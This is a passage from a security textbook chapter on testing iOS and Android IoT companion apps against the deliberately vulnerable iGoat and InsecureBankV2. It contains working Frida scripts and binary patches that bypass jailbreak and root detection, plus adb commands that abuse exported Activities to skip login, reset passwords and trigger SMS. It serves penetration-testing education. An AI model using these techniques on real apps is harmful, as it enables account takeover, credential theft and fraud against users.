omission might increase the difficulty of exploiting certain SQL vulner-
abilities, which often require an apostrophe to create a valid statement. 
It’s still possible to disable this feature programmatically using the 
smartQuotesType property (https://developer.apple.com/documentation/uikit/
uitextinputtraits/2865931-smartquotestype/).

Keychain Storage
Many applications store secrets using the keychain service API, a platform-
provided encrypted database. In the iOS simulator, you can obtain those 
secrets by opening a simple SQL database. You might need to use the vacuum 
command to merge the data from the SQLite system’s Write-Ahead-Logging 
mechanism. This popular mechanism is designed to provide durability to 
multiple database systems. 

If the app is installed on a physical device, you’ll first need to jailbreak 
the device and then use a third-party tool to dump the keychain records. 
Possible tools include the Keychain Dumper (https://github.com/ptoomey3/
Keychain-Dumper/), the IDB tool (https://www.idbtool.com/), and the Needle 
(https://github.com/FSecureLABS/needle/). In the iOS simulator, you could also 
use the iGoat Keychain Analyzer included in the iGoat app. This tool only 
works for the iGoat app.

Using the retrieved records, you can now solve the Data Protection 
(Rest) category’s Keychain Usage challenge in the app functionalities. You 
must first uncomment the [self storeCredentialsInKeychain] function call 
in the iGoat/Key Chain/KeychainExerciseViewController.m file to configure the 
application to use the keychain service API.

https://developer.apple.com/documentation/uikit/uitextinputtraits/2865931-smartquotestype/
https://developer.apple.com/documentation/uikit/uitextinputtraits/2865931-smartquotestype/
https://github.com/ptoomey3/Keychain-Dumper/
https://github.com/ptoomey3/Keychain-Dumper/
https://www.idbtool.com/
https://github.com/FSecureLABS/needle/
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Binary Reversing
Developers usually hide secrets in the application source code’s business 
logic. Because the source code isn’t always available, we’ll examine the 
binary by reversing the assembly code.  For this purpose, you could use an 
open source tool like Radare2 (https://rada.re/n/). 

Before the examination, we have to thin the binary. Thinning the 
binary only isolates a specific architecture’s executable code. You can find 
versions of the iOS binary in either the MACH0 or FATMACH0 format, 
which includes ARM6, ARM7, and ARM64 executables. We only want to 
analyze one of these, the ARM64 executable, which you can easily extract 
using the rabin2 command: 

$ rabin2 -x iGoat 
iGoat.fat/iGoat.arm_32.0 created (23729776)
iGoat.fat/iGoat.arm_64.1 created (24685984)

We can then load and perform an initial analysis on the binary using 
the r2 command: 

$ r2 -A iGoat.fat/iGoat.arm_64.1 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
...
[0x1000ed2dc]> 1 fs 
 6019 * classes
   35 * functions
  442 * imports
  …

The analysis will associate names, called flags, with specific offsets in 
the binary, such as sections, functions, symbols, and strings. We can obtain 
a summary of these flags using the fs command 1 and get a more detailed 
list using the fs; f command.

Use the iI command to retrieve information regarding the binary: 

[0x1000ed2dc]> iI~crypto
1 crypto   false 

[0x1000ed2dc]> iI~canary
2 canary   true 

Inspect the returned compilation flags. Those we see here indicate that 
the specific binary has been compiled with Stack Smashing Protection 2 
but hasn’t been encrypted by Apple Store 1.

Because iOS apps are usually written in Objective-C, Swift, or  C++, 
they store all symbolic information in the binary; you can load it using the 
ojbc.pl script included in the Radare2 package. This script generates shell 
commands based on these symbols and the corresponding addresses that 
you can use to update the Radare2 database:

$ objc.pl iGoat.fat/iGoat.arm_64.1
f objc.NSString_oa_encodedURLString = 0x1002ea934

https://rada.re/n/
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Now that all the existing metadata has been loaded into the database, 
we can search for specific methods and use the pdf command to retrieve the 
assembly code: 

[0x003115c0]> fs; f | grep Broken 
0x1001ac700 0 objc.BrokenCryptographyExerciseViewController_getPathForFilename
0x1001ac808 1 method.BrokenCryptographyExerciseViewController.viewDidLoad
…
[0x003115c0]> pdf @method.BrokenCryptographyExerciseViewController.viewDidLoad 
| (fcn) sym.func.1001ac808 (aarch64) 568
|   sym.func.1001ac808 (int32_t arg4, int32_t arg2, char *arg1);
| |||||||   ; var void *var_28h @ fp-0x28
| |||||||   ; var int32_t var_20h @ fp-0x20
| |||||||   ; var int32_t var_18h @ fp-0x18

It’s also possible to use the pdc command to generate pseudocode 
and decompile the specific function. In this case, Radare2 automatically 
resolves and presents references to other functions or strings:

[0x00321b8f]> pdc @method.BrokenCryptographyExerciseViewController.viewDidLoad 
function sym.func.1001ac808 () {
    loc_0x1001ac808:
         …
x8 = x8 + 0xca8          //0x1003c1ca8 ; str.cstr.b_nkP_ssword123 ; (cstr 0x10036a5da) "b@nkP@
ssword123" 

We can easily extract the hardcoded value b@nkP@ssword123, which you 
can use to authenticate in the Key Management category’s Hardcoded Keys 
challenge in the app functionalities. 

Using a similar tactic, researchers found a vulnerability in earlier ver-
sions of the MyCar Controls mobile app (https://cve.mitre.org/cgi-bin/cvename 
.cgi?name=CVE-2019-9493/). The app allows users to remotely start, stop, 
lock, and unlock their car. It contained hardcoded admin credentials.

Intercepting and Examining Network Traffic
Another important part of an iOS app assessment is to examine its network 
protocol and the requested server API calls. Most mobile apps primarily use 
the HTTP protocol, so we’ll focus on it here. To intercept the traffic, we’ll 
use the community version of Burp Proxy Suite, which initiates a web proxy 
server that sits as a man-in-the-middle between the mobile and destination 
web server. You can find it at https://portswigger.net/burp/.

To relay the traffic, you’ll need to perform a man-in-the-middle attack, 
which you can do in numerous ways. Because we’re just trying to analyze 
the app, not re-create a realistic attack, we’ll follow the easiest attack path: 
configuring an HTTP proxy on the device within the network settings. In a 
physical Apple device, you can set an HTTP proxy by navigating to the con-
nected wireless network. Once there, alter the proxy option of the macOS 
system to the external IPv4 address where you’ll run Burp Proxy Suite 
using port 8080. In the iOS simulator, set the global system proxy from 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9493/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9493/
https://portswigger.net/burp/
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the macOS network settings, making sure to set Web Proxy (HTTP) and 
Secure Web Proxy (HTTPS) to the same value. 

After configuring the proxy settings on an Apple device, all the traffic 
will redirect to Burp Proxy Suite. For example, if we use the Authentication 
task in the iGoat app, we could capture the following HTTP request, which 
contains a username and password:

GET /igoat/token?username=donkey&password=hotey HTTP/1.1
Host: localhost:8080
Accept: */*
User-Agent: iGoat/1 CFNetwork/893.14 Darwin/17.2.0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: close

If the app used SSL to protect the intermediate communication, we’d 
have to perform the extra step of installing a specially crafted SSL cer-
tificate authority (CA) to our testing environment. Burp Proxy Suite can 
automatically generate this CA for us. You can obtain it by navigating to the 
proxy’s IP address using a web browser and then clicking the Certificate 
link at the top right of the screen.

The Akerun Smart Lock Robot app for iOS (https://www.cvedetails.com/
cve/CVE-2016-1148/) contained a similar issue. More precisely, research-
ers discovered that all application versions earlier than 1.2.4 don’t verify 
SSL certificates, allowing man-in-the-middle attackers to eavesdrop on 
encrypted communications with the smart lock device.

Avoiding Jailbreak Detection Using Dynamic Patching
In this section, we’ll tamper with the application code as it’s executed in 
the device memory and dynamically patch one of its security controls to cir-
cumvent it. We’ll target the control that performs the environment integrity 
check. To perform this attack, we’ll use the Frida instrumentation frame-
work (https://frida.re/). You can install it as follows using the pip package 
manager for Python:

$ pip install frida-tools

Next, locate the function or API call that performs the environment 
integrity check. Because the source code is available, we can easily spot the 
function call in the iGoat/String Analysis/Method Swizzling/MethodSwizzlingEx
erciseController.m class. This security check only works on physical devices, 
so you won’t see any difference when it’s active in the simulator:

assert((NSStringFromSelector(_cmd) isEqualToString:@”fileExistsAtPath:”]);
// Check for if this is a check for standard jailbreak detection files
if ([path hasSuffix:@”Cydia.app”] ||
    [path hasSuffix:@”bash”] ||
    [path hasSuffix:@”MobileSubstrate.dylib”] ||
    [path hasSuffix:@”sshd”] ||
    [path hasSuffix:@”apt”])_

https://www.cvedetails.com/cve/CVE-2016-1148/
https://www.cvedetails.com/cve/CVE-2016-1148/
https://frida.re/
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By dynamically patching this function, we can force the return param-
eter to always be successful. Using the Frida framework, we create a file 
called jailbreak.js with code that does just that:

   1 var hook = ObjC.classes.NSFileManager["- fileExistsAtPath:"];
   2 Interceptor.attach(hook.implementation, {

        onLeave: function(retval) {
         3 retval.replace(0x01); 

        },
    });

This Frida code starts by searching for the Objective-C function file-
ExistsAtPath from the NSFileManager class and returns a pointer to this func-
tion 1. Next, it attaches an interceptor to this function 2 that dynamically 
sets a callback named onLeave. This callback will execute at the end of the 
function, and it’s configured to always replace the original return value 
with 0x01 (the success code) 3. 

Then we apply the patch by attaching the Frida tool to the correspond-
ing application process:

$ frida -l jailbreak.js -p 59843

You can find the exact Frida framework syntax for patching Objective-C 
methods in the online documentation at https://frida.re/docs/javascript-api/#objc/.

Avoiding Jailbreak Detection Using Static Patching
You could circumvent jailbreak detection using static patching, too. Let’s 
use Radare2 to examine the assembly and patch the binary code. For exam-
ple, we can replace the comparison of the fileExists result with a statement 
that is always true. You can find the function fetchButtonTapped at iGoat/
String Analysis/Method Swizzling/MethodSwizzlingExerciseController.m:

-(IBAction)fetchButtonTapped:(id)sender {
    ...
    if (fileExists) 
        [self displayStatusMessage:@"This app is running on ...
    else
        [self displayStatusMessage:@"This app is not running on ...

Because we want to reinstall the patched version of the code in the 
simulator, we’ll work with the app’s Debug-iphonesimulator version, which is 
located in the Xcode-derived data folder we mentioned on page 343. First, 
we open the binary in write mode using the -w  parameter: 

$ r2 -Aw ~/Library/Developer/Xcode/DerivedData/iGoat-<application-id>/Build/
Products/Debug-iphonesimulator/iGoat.app/iGoat 
[0x003115c0]> fs; f | grep fetchButtonTapped
0x1000a7130 326 sym.public_int_MethodSwizzlingExerciseController::fetchButton
Tapped_int

https://frida.re/docs/javascript-api/#objc/
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0x1000a7130 1 method.MethodSwizzlingExerciseController.fetchButtonTapped:
0x100364148 19 str.fetchButtonTapped:

This time, instead of requesting that Radare2 disassemble or decompile 
the app with the pdf and pdc commands, we’ll change to the graph view by 
using the VV command and then pressing p on the keyboard. This represen-
tation is easier for locating business logic switches:

[0x1000ecf64]> VV @ method.MethodSwizzlingExerciseController.fetchButtonTapped: 

This command should open the graph view shown in Figure 14-11. 

Figure 14-11: The Radare2 graph view representing the logic switch  

An easy way to disable the comparison is by replacing the je command 
(opcode 0x0F84) with the jne command (opcode 0x0F85), which returns the 
exact opposite result. As a consequence, when the processor reaches this 
step, it will continue execution in the block and report that the device isn’t 
jailbroken. 

Note that this version of the binary is designed for the iOS simulator. 
The binary for the iOS device would contain the equivalent ARM64 opera-
tion of TBZ.

Change the view by pressing q to quit the graph view and then pressing 
p to enter assembly mode. This allows us to get the address of the operation 
in the binary (you could also use pd directly): 

[0x003115c0]> q 
[0x003115c0]> p 
…
0x1000a7218      f645e701       test byte [var_19h], 1
          < 0x1000a721c      0f8423000000   je 0x1000a7245
...
[0x1000f7100]> wx 0f8523000000 @ 0x1000a721c

Then we can re-sign and reinstall the app in the simulator: 

$ /usr/bin/codesign --force --sign - --timestamp=none ~/Library/Developer/Xcode/DerivedData/
iGoat-<application-id>/Build/Products/Debug-iphonesimulator/iGoat.app
replacing existing signature
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If we were working on a physical device, we’d have to use one of the 
binary re-signing techniques to install the modified binary.

Analyzing Android Applications
In this section, we’ll analyze the insecure Android app InsecureBankV2. 
Like iGoat, this isn’t an IoT companion app, but we’ll focus on vulnerabili-
ties relevant to IoT devices. 

Preparing the Test Environment
Android has no environment restrictions, and you can perform a successful 
assessment whether your operating system is running on Windows, macOS, 
or Linux. To set up the environment, install the Android Studio IDE (https://
developer.android.com/studio/releases/). Alternatively, you can install the Android 
software development kit (SDK) and the Android SDK Platform Tools 
directly by downloading the ZIP files from the same website.

Start the included Android Debug Bridge service, which is the binary that 
interacts with Android devices and emulators, and identify the connected 
devices using the following command:

$ adb start-server
* daemon not running; starting now at tcp:5037
* daemon started successfully

Currently, no emulators or devices are connected to our host. We 
can easily create a new emulator using the Android Virtual Device (AVD) 
Manager, which is included in the Android Studio and the Android SDK 
tools. Access AVD, download the Android version you want, install it, 
name your emulator, run it, and you’re ready to go.

Now that we’ve created an emulator, let’s try to access it by running the 
following commands, which will list the devices connected to your system. 
These devices might be actual devices or emulators:

$ adb devices
emulator-5554	 device   

Excellent, an emulator was detected. Now we’ll install the vulnerable 
Android app in the emulator. You can find InsecureBankV2 at https://
github.com/dineshshetty/Android-InsecureBankv2/. Android apps use a file 
format called the Android Package (APK). To install the InsecureBankV2 
APK to our emulator device, navigate to your target application folder and 
then use the following command: 

$ adb -s emulator-5554 install app.apk
Performing Streamed Install
Success

You should now see the application’s icon in the simulator, indicating 
the installation succeeded. You should also run InsecureBankV2 AndroLab, 

https://developer.android.com/studio/releases/
https://developer.android.com/studio/releases/
 https://github.com/dineshshetty/Android-InsecureBankv2/
 https://github.com/dineshshetty/Android-InsecureBankv2/
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a python2 backend server using the commands which can be found in the 
same GitHub repository.

Extracting an APK
In some cases, you might want to investigate a specific APK file separately 
from the rest of the Android device. To do this, use the following com-
mands to extract an APK from a device (or emulator). Before extracting a 
package, we need to know its path. We can identify the path by listing the 
relevant packages:

$ adb shell pm list packages  
com.android.insecurebankv2

Once we’ve identified the path, we extract the application by using the 
adb pull command:

$ adb shell pm path com.android.insecurebankv2 
package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
$ adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
: 1 file pulled. 111.6 MB/s (3462429 bytes in 0.030s)

This command extracts the APK to your host system’s current working 
directory. 

Static Analysis
Let’s start with static analysis by examining the APK file, which you’ll first 
need to decompress. Use the apktool (https://ibotpeaches.github.io/Apktool/) to 
extract all the relevant information from the APK without losing any data: 

$ apktool d app.apk 
I: Using Apktool 2.4.0 on app.apk
I: Loading resource table...
….

One of the most important files in the APK is AndroidManifest.xml. The 
Android manifest is a binary-encoded file containing information such 
as the Activities used. Activities, in an Android app, are the screens in the 
application’s user interface. All Android apps have at least one Activity, and 
the name of the main one is included in the manifest file. This Activity 
executes when you launch the app. 

In addition, the manifest file contains the permissions that the app 
requires, the supported Android versions, and Exported Activities, which  
might be prone to vulnerabilities, among other features. An Exported Activity 
is a user interface that components of different applications can launch. 

The classes.dex file contains the application’s source code in a Dalvik 
Executable (DEX) file format. Inside the META-INF folder, you’ll find various 
metadata from the APK file. In the res folder, you’ll find compiled resources, 
and in the assets folder, you’ll find the application’s assets. We’ll devote most 
of our time to exploring AndroidManifest.xml and the DEX format files. 

https://ibotpeaches.github.io/Apktool/
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Automating Static Analysis

Let’s explore some tools that will help you perform static analysis. But be 
wary of basing your entire test on just automated tools, because they’re not 
perfect and you might miss a critical issue.

You can use Qark (https://github.com/linkedin/qark/) to scan the source 
code and an application’s APK file. With the following command, we per-
form static analysis on the binary: 

$ qark --apk path/to/my.apk
Decompiling sg/vantagepoint/a/a...
...
Running scans...
Finish writing report to /usr/local/lib/python3.7/site-packages/qark/report/
report.html ...

This will take some time. Aside from Qark, you can use the MobSF tool 
mentioned earlier in this chapter. 

Binary Reversing
The Qark tool you just ran reversed the binary to perform checks on it. 
Let’s try to do this manually. When you extracted files from the APK, you 
were provided with a bunch of DEX files containing compiled app code. 
Now we’ll translate this bytecode to make it more readable. 

For this purpose, we’ll use the Dex2jar tool (https://github.com/pxb1988/
dex2jar/) to convert the bytecode to a JAR file: 

$ d2j-dex2jar.sh app.apk 
dex2jar app.apk -> ./app-dex2jar.jar

Another great tool for this purpose is Apkx (https://github.com/b-mueller/
apkx/), which is a wrapper for different decompilers. Remember that even if 
one decompiler fails, another one might succeed. 

Now we’ll use a JAR viewer to browse the APK source code and read it 
easily. A great tool for this purpose is JADX(-gui)(https://github.com/skylot/
jadx/). It basically attempts to decompile the APK and allows you to navi-
gate through the decompiled code in highlighted text format. If given an 
already decompiled APK, it will skip the decompiling task. 

You should see the app broken down into readable files for further 
analysis. Figure 14-12 shows the contents of one such file. 

Figure 14-12: Contents of CryptoClass depicting the value of the variable key

https://github.com/linkedin/qark/
https://github.com/pxb1988/dex2jar/
https://github.com/pxb1988/dex2jar/
https://github.com/b-mueller/apkx/
https://github.com/b-mueller/apkx/
https://github.com/skylot/jadx/
https://github.com/skylot/jadx/
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In CryptoClass, we’ve already uncovered an issue: a hardcoded key. This 
key appears to be a secret for some cryptographic functions.

Researchers found a similar vulnerability in EPSON’s iPrint application 
version 6.6.3 (https://www.cvedetails.com/cve/CVE-2018-14901/), which allowed 
users to remotely control their printing devices. The app contained hardcoded 
API and Secret keys for the Dropbox, Box, Evernote, and OneDrive services.

Dynamic Analysis
Now we’ll move onto dynamic analysis. We’ll use Drozer, a tool that helps 
us test Android permissions and exported components (https://github.com/
FSecureLABS/drozer/). Note that Drozer has stopped being developed, but it’s 
still useful for simulating rogue applications. Let’s find more information 
about our application by issuing the following command:

dz> run app.package.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
  Process Name: com.android.insecurebankv
  Data Directory: /data/data/com.android.insecurebankv2
  APK Path: /data/app/com.android.insecurebankv2-1.apk
  UID: 10052
  GID: [3003, 1028, 1015]
  Uses Permissions:
  - android.permission.INTERNET
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.SEND_SMS
  ...

Look at this high-level overview. From here, we can go a bit deeper by 
listing the app’s attack surface. This will provide us with enough informa-
tion to identify Exported Activities, broadcast receivers, content providers, 
and services. All these components might be configured poorly and thus be 
prone to security vulnerabilities:

dz> run app.package.attacksurface com.android.insecurebankv2
Attack Surface:

1 5 activities exported 
1 broadcast receivers exported
1 content providers exported
0 services exported

Even though this is a small app, it looks like it’s exporting various com-
ponents, the majority of which are Activities 1. 

Resetting User Passwords

Let’s take a closer look at the exported components: it’s possible these 
Activities don’t require special permissions to view: 

dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.LoginActivity 

https://www.cvedetails.com/cve/CVE-2018-14901/
https://github.com/FSecureLABS/drozer/
https://github.com/FSecureLABS/drozer/
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    Permission: null
1 com.android.insecurebankv2.PostLogin 

    Permission: null
2 com.android.insecurebankv2.DoTransfer 

    Permission: null
3 com.android.insecurebankv2.ViewStatement 

    Permission: null
4 com.android.insecurebankv2.ChangePassword 

    Permission: null

It looks like the Activities don’t have any permissions and third-party 
apps can trigger them. 

By accessing the PostLogin 1 Activity, we can bypass the login screen, 
which looks like a win. Access that specific Activity  through the Adb tool, as 
demonstrated here, or Drozer:

$ adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
Starting: Intent { cmp=com.android.insecurebankv2/.PostLogin 

Next, we should either extract information from the system or manipu-
late it in some way. The ViewStatement 3 Activity looks promising: we might 
be able to extract the user’s bank transfer statements without having to 
log in. The DoTransfer 2 and ChangePassword 4 Activities are state-altering 
actions that probably have to communicate with the server-side component. 
Let’s try to change the user’s password:

$ adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword 
Starting: Intent { cmp=com.android.insecurebankv2/.ChangePassword }

We trigger the ChangePassword Activity, set a new password, and press 
ENTER. Unfortunately, the attack won’t work. As you can see in the emula-
tor, the username field is empty (Figure 14-13). But we were very close. It’s 
not possible to edit the username field through the UI, because the input is 
empty and disabled. 

Figure 14-13: The ChangePassword  
Activity’s interface with the username  
field empty and disabled

Most likely, another Activity fills this field by triggering this Intent. By 
doing a quick search, you should be able to find the point at which this 
Activity gets triggered. Look at the following code. The Intent responsible 
for filling the username field  creates a new Activity and then passes an 
extra parameter with the name uname. This must be the username.
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protected void changePasswd() {
    Intent cP = new Intent(getApplicationContext(), ChangePassword.class);
    cP.putExtra("uname", uname); 
    startActivity(cP);
}

By issuing the following command, we start the ChangePassword Activity 
and provide the username as well:

$ adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword 
  --es "uname" "dinesh"
Starting: Intent { cmp=com.android.insecurebankv2/.ChangePassword (has extras) }

You should see the username appear in the login form (Figure 14-14).

Figure 14-14: The ChangePassword  
Activity’s interface with the username  
field completed

Now that we’ve filled the username field, we can change the password 
successfully. We can attribute this vulnerability to the Exported Activity 
but mostly to the server-side component. If the password-reset functionality 
required the user to add their current password as well as the new one, this 
issue would have been avoided.

Triggering SMS Messages

Let’s continue our exploration of the InsecureBankV2 app. We might be 
able to uncover more interesting behavior. 

<receiver android:name="com.android.insecurebankv2.
MyBroadCastReceiver" 1android:exported="true">
   <intent-filter><action android:name="theBroadcast"/></intent-filter>
</receiver>

While reviewing AndroidManifest.xml, we can see that the app exports 
one receiver 1. Depending on its functionality, it might be worth exploit-
ing. By visiting the relevant file, we can see that this receiver requires two 
arguments, phn and newpass. Now we have all the necessary information that 
we need to trigger it:

$ adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.
  insecurebankv2.MyBroadCastReceiver --es phonenumber 0 --es newpass test
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Broadcasting: Intent { act=theBroadcast flg=0x400000 cmp=com.android.insecurebankv2/.
MyBroadCastReceiver (has extras) }

If successful, you should receive an SMS message with your new pass-
word. As an attack, you could use this feature to send messages to premium 
services, causing the unsuspected victim to lose significant amounts of 
money.

Finding Secrets in the App Directory

There are many ways to store secrets in Android, some of which are secure 
enough. Others? Not so much. For example, it’s quite common for applica-
tions to store secrets inside their application directories. Even though this 
directory is private to the app, in a compromised or rooted device, all apps 
could access each other’s private folders. Let’s look at our app’s directory:

$ cat shared_prefs/mySharedPreferences.xml 

<map>
    <string name="superSecurePassword">DTrW2VXjSoFdg0e61fHxJg==&#10;    </string>
    <string name="EncryptedUsername">ZGluZXNo&#13;&#10;</string>
</map>

The app appears to store user credentials inside the shared preferences 
folder. With a little bit of research, we can see that the key we discovered ear-
lier in this chapter, located in the file com.android.insecurebankv2.CryptoClass, 
is the key used to encrypt that data. Combine this information and try to 
decrypt the data located in that file. 

A similar issue existed in a popular IoT companion app, TP-Link Kasa 
and was discovered by M. Junior et al. (https://arxiv.org/pdf/1901.10062.pdf). 
The app used a weak symmetric encryption function, the Caesar cipher, 
combined with a hardcoded seed to encrypt sensitive data. Also, research-
ers reported such a vulnerability in the Philips HealthSuite Health Android 
app, which was designed to allow you to retrieve key body measurements 
from a range of Philips connected health devices. The issue allowed an 
attacker with physical access to impact the confidentiality and integrity of 
the product (https://www.cvedetails.com/cve/CVE-2018-19001/). 

Finding Secrets in Databases

Another low-hanging fruit to check for secret storing are the databases 
located in the very same directory. Very often, you’ll see secrets or even 
sensitive user information being stored unencrypted in local databases. By 
looking at the databases located in your application’s private storage, you 
might be able to pick up something interesting:

generic_x86:/data/data/com.android.insecurebankv2 #$ ls databases/ 
mydb mydb-journal

https://arxiv.org/pdf/1901.10062.pdf
https://www.cvedetails.com/cve/CVE-2018-19001/
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Also always look for files stored outside the application’s private directory. 
It’s not unusual for applications to store data in the SD card, which is a space 
that all applications have read and write access to. You can easily spot these 
instances by searching for the function getExtrenalStorageDirectory(). We leave 
this search as an exercise for you to complete. Once you’ve completed it, you 
should have a hit; the application seems to be using this storage. 

Now, navigate to the SD card directory: 

Generic_ x86:$ cd /sdcard && ls 
Android DCIM Statements_dinesh.html 

The file Statement_dinesh.html  is located in external storage and is acces-
sible by any application installed on that device with external storage access.

Research from A. Bolshev and I. Yushkevich (https://ioactive.com/
pdfs/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab%20(1).pdf) 
has identified this type of vulnerability in undisclosed IoT apps that are 
designed to control SCADA systems. These apps used an old version of the 
Xamarin Engine, which stored Monodroid engine’s DLLs in the SD card, 
introducing a DLL hijack vulnerability. 

Intercepting and Examining Network Traffic 
To intercept and examine network traffic, you can use the same approach 
we used for iOS apps. Note that newer Android versions require repackaging 
the applications to use user-installed CAs. The same vulnerabilities in the 
network layer can exist on the Android platform. For example, researchers 
discovered one such vulnerability in the OhMiBod Remote app for Android 
(https://www.cvedetails.com/cve/CVE-2017-14487/). The vulnerability allowed 
remote attackers to impersonate users by monitoring network traffic and 
then tampering with fields such as the username, user ID, and token. The 
app remotely controls OhMiBod vibrators. A similar issue exists in the 
Vibease Wireless Remote Vibrator app, which allows you to remotely con-
trol Vibease vibrators (https://www.cvedetails.com/cve/CVE-2017-14486/). The 
iRemoconWiFi app, designed to allow users to control a variety of consumer 
electronics, was also reported to not verify X.509 certificates from SSL serv-
ers (https://www.cvedetails.com/cve/CVE-2018-0553/).   

Side-Channel Leaks
Side-channel leaks might occur through different components of an 
Android device—for instance, through tap jacking, cookies, the local 
cache, an application snapshot, excessive logging, a keyboard component, 
or even the accessibility feature. Many of these leaks affect both Android 
and iOS, like cookies, the local cache, excessive logging, and custom key-
board components. 

An easy way to spot side-channel leaks is through excessive logging. 
Very often, you’ll see application logging information that developers 
should have removed when publishing the app. Using adb logcat, we can 

https://ioactive.com/pdfs/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab%20(1).pdf
https://ioactive.com/pdfs/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab%20(1).pdf
https://www.cvedetails.com/cve/CVE-2017-14487/
https://www.cvedetails.com/cve/CVE-2017-14486/).
https://www.cvedetails.com/cve/CVE-2018-0553/
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monitor our device’s operation for juicy information. An easy target for this 
process is the login process, as you can see in Figure 14-15, which shows an 
excerpt of the logs.

Figure 14-15: Account credentials exposed to the Android device logs

This is a good example of the information you can capture just from 
logging. Keep in mind that only privileged applications can gain access to 
this information.  

E. Fernandes et al. recently discovered a similar side-channel leak issue 
in a popular IoT companion app for the IoT-enabled Schlage door lock 
(http://iotsecurity.eecs.umich.edu/img/Fernandes_SmartThingsSP16.pdf). More 
precisely, the researchers found that the ZWave lock device handler, which 
communicates with the device hub that controls the door looks, creates a 
reporting event object that contains various data items, including the plain-
text device pin. Any malicious app installed on the victim’s device could 
subscribe for such reporting event objects and steal the door lock pin.

Avoid Root Detection Using Static Patching
Let’s dive into the app’s source and identify any protection against rooted 
or emulated devices. We can easily identify these checks if we look for any 
reference to rooted devices, emulators, superuser applications, or even the 
ability to perform actions on restricted paths. 

By looking for the word “root” or “emulator” on the app, we quickly 
identify the com.android.insecureBankv2.PostLogin file, which contains the 
functions showRootStatus() and checkEmulatorStatus(). 

The first function detects whether the device is rooted, but it looks like 
the checks it performs aren’t very robust: it checks whether Superuser.apk is 
installed and whether the su binary exists in the filesystem. If we want to 
practice our binary patching skills, we can simply patch these functions and 
change the if switch statement. 

To perform this change, we’ll use Baksmali (https://github.com/JesusFreke/
smali/), a tool that allows us to work in smali, a human-readable version of 
the Dalvik bytecode:

$ java -jar baksmali.jar -x classes.dex -o smaliClasses 

Then we can change the two functions in the decompiled code: 

.method showRootStatus()V
    ...    
    invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;-
>doesSuperuserApkExist(Ljava/lang/String;)Z

http://iotsecurity.eecs.umich.edu/img/Fernandes_SmartThingsSP16.pdf
https://github.com/JesusFreke/smali/
https://github.com/JesusFreke/smali/
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    if-nez v2, 1 :cond_f 
    invoke-direct {p0}, Lcom/android/insecurebankv2/PostLogin;->doesSUexist()Z
    if-eqz v2, 2 :cond_1a 
    ...

    3 :cond_f 
    const-string v2, "Rooted Device!!"
    ...

    4 :cond_1a 
     const-string v2, "Device not Rooted!!"
    ...
.end method

The only task you need to do is alter the if-nez 1 and if-eqz 2 opera-
tions so they always go to cond_1a 4 instead of cond_f 3. These conditional 
statements represent “if not equal to zero” and “if equal to zero.”  

Finally, we compile the altered smali code into a .dex file:

$ java -jar smali.jar smaliClasses -o classes.dex  

To install the app, we’ll first have to delete the existing metadata and 
archive it again into an APK with the correct alignment:

$ rm -rf META-INF/* 
$ zip -r app.apk * 

Then we have to re-sign it with a custom keystore. The Zipalign tool, 
located in the Android SDK folder, can fix the alignment. Then Keytool 
and Jarsigner create a keystore and sign the APK. You’ll need the Java SDK 
to run these tools:

$ zipalign -v 4  app.apk app_aligned.apk 
$ keytool -genkey -v -keystore debug.keystore -alias android -keyalg RSA 
-keysize 1024 
$ jarsigner -verbose  -sigalg MD5withRSA  -digestalg SHA1 -storepass qwerty 
-keypass qwerty  -keystore debug.keystore  app_aligned.apk android 

Once you’ve successfully executed these commands, the APK will be 
ready to install on your device. This APK will now operate on a rooted 
device, because we’ve bypassed its root detection mechanism by patching it.

Avoid Root Detection Using Dynamic Patching
A different approach for avoiding root detection is to bypass it dynamically 
at runtime with Frida. This way, we don’t have to change the naming of our 
binaries, which will probably break compatibility with other apps; nor will 
we have to go the extra mile of patching the binary, which is a rather time-
consuming task.

We’ll use the following Frida script: 

Java.perform(function () {
    1 var Main = Java.use('com.android.insecurebankv2.PostLogin'); 
    2 Main.doesSUexist.implementation = function () { 
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        3 return false; };
    4 Main.doesSuperuserApkExist.implementation = function (path) { 
        5 return false; };

});

The script tries to find the com.android.insecurebankv2.PostLogin pack-
age 1 and then overrides the functions doesSUexist() 2 and doesSuperuser 
ApkExist() 4 by simply returning a false value 3 5.

Using Frida requires either root access in the system or the addition of 
the Frida agent in the application as a shared library. If you’re working on the 
Android emulator, the easiest method is to download a non–Google Play AVD 
image. Once you have root privileges on your testing device, you can trigger 
the Frida script using the following command:

$ frida -U -f com.android.insecurebankv2 -l working/frida.js   

Conclusion
In this chapter, we covered the Android and iOS platforms, examined the 
threat architecture for IoT companion apps, and discussed a number of the 
most common security issues you’ll encounter in your assessments. You can 
use this chapter as a reference guide: try to follow our methodology and 
replicate the attack vectors in the examined applications. But the analysis 
wasn’t exhaustive, and these projects have more vulnerabilities for you to 
find. Maybe you’ll find a different way to exploit them. 

The OWASP Mobile Application Security Verification Standard 
(MASVS) provides a robust checklist of security controls and is described 
in the Mobile Security Testing Guide (MSTG) for both Android and iOS. 
There, you’ll also find a list of useful, up-to-date tools for mobile security 
testing.



Common devices found in almost any mod-
ern home, such as TVs, refrigerators, coffee 

machines, HVAC systems, and even fitness 
equipment are now connected to each other 

and are capable of offering more services to users 
than ever before. You can set your desired home tem-
perature while you’re driving, receive a notification 
when your washing machine has finished a load, turn  
on the lights and open window blinds automatically when you arrive home, 
or even have your TV stream a show directly to your phone.

At the same time, more and more businesses are equipped with similar 
devices, not just in meeting rooms, kitchens, or lounges. Many offices use 
